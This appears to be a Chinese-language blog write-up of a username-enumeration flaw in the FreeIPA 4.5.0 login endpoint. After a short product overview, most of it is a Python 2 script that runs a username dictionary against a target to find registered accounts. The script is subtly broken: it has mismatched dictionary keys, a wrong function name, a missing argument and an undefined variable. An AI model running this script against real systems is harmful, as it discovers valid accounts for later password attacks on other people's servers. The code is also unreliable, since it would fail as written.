一、freeipa简介:
freeipa是一款集成的安全信息管理解决方案。freeipa包含Linux (Fedora),389 Directory Server MIT Kerberos, NTP, DNS, Dogtag (Certificate System)等等身份,认证和策略功能。freeipa还集成了ldap+Kerberos(Kerberos 认证原理不多说,简单的说就是在身份认证的时候不传输密码,而是在传输票据,更加安全可靠)+web管理的集中式用户认证管理系统(系统级别的sso,可以对apache,ftp,nfs,ldap,smtp ,ssh做身份认证。但是对samba 的身份认证不支持。samba貌似只支持AD),同时还可以与微软的AD进行用户信息的同步。
二、freeip漏洞环境:
1、版本:4.5.0
2、漏洞点(URL):https://target_ip/ipa/session/login_password
3、漏洞原理:登录页面对于用户名字段的验证存在查库行为,user是否在库中的结果信息反回到了前端。
4、登录需求:不需要登录。
三、漏洞验证
第一张图验证不存在的账户
第二张图验证存在的账户
可以写一个脚本来跑出所有注册用户:
1 -*- coding:utf-8 -*- 2 ''' 3 freeipa注册账户描爆破测试脚本 4 freeipa版本 4.5.0 5 ''' 6 7 #引入包文件: 8 import sys 9 import time 10 import requests 11 12 #全局变量定义: 13 header_struct = { 14 "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/20100101 Firefox/58.0", 15 "Referer": "https://%s/ipa/ui/", 16 "X-Requested-With": "XMLHttpRequest", 17 } 18 19 post_data = {"user":"","password":"just so so"} 20 username_dict = "./username.txt" 21 username_list = [] 22 23 #全局函数定义: 24 def username_list_init_from_file(): 25 """从用户名字典文件中获取用户名""" 26 with open(username_dict,"r") as fr: 27 for line in fr.readlines(): 28 line = line.split(" ")[0].split(" ")[0] 29 username_list.append(line) 30 31 def send_crack_packet(username,target): 32 """发送爆破登录请求报文""" 33 global post_data 34 global header_struct 35 url = "https://%s/ipa/session/login_password"%str(target) 36 header_struct["referer"] = header_struct["referer"]%str(target) 37 post_data["username"] = username 38 try: 39 response = requests.post(url,headers=header_struct,data=post_data,verify=False) 40 except Exception,ex: 41 print ex 42 return False 43 if response.content.find("Password incorrect while getting initial credentials") >= 0: 44 return True 45 else: 46 return False 47 48 def crack(target): 49 """遍历用户名字典,尝试破解""" 50 for user in username_list: 51 if send_crack_packet(user): 52 print "Cracked!" 53 print "Find a register user! Username:",pswd 54 55 if __name__ == "__main__": 56 target = sys.argv[1] 57 user_list_init_from_file() 58 crack(target)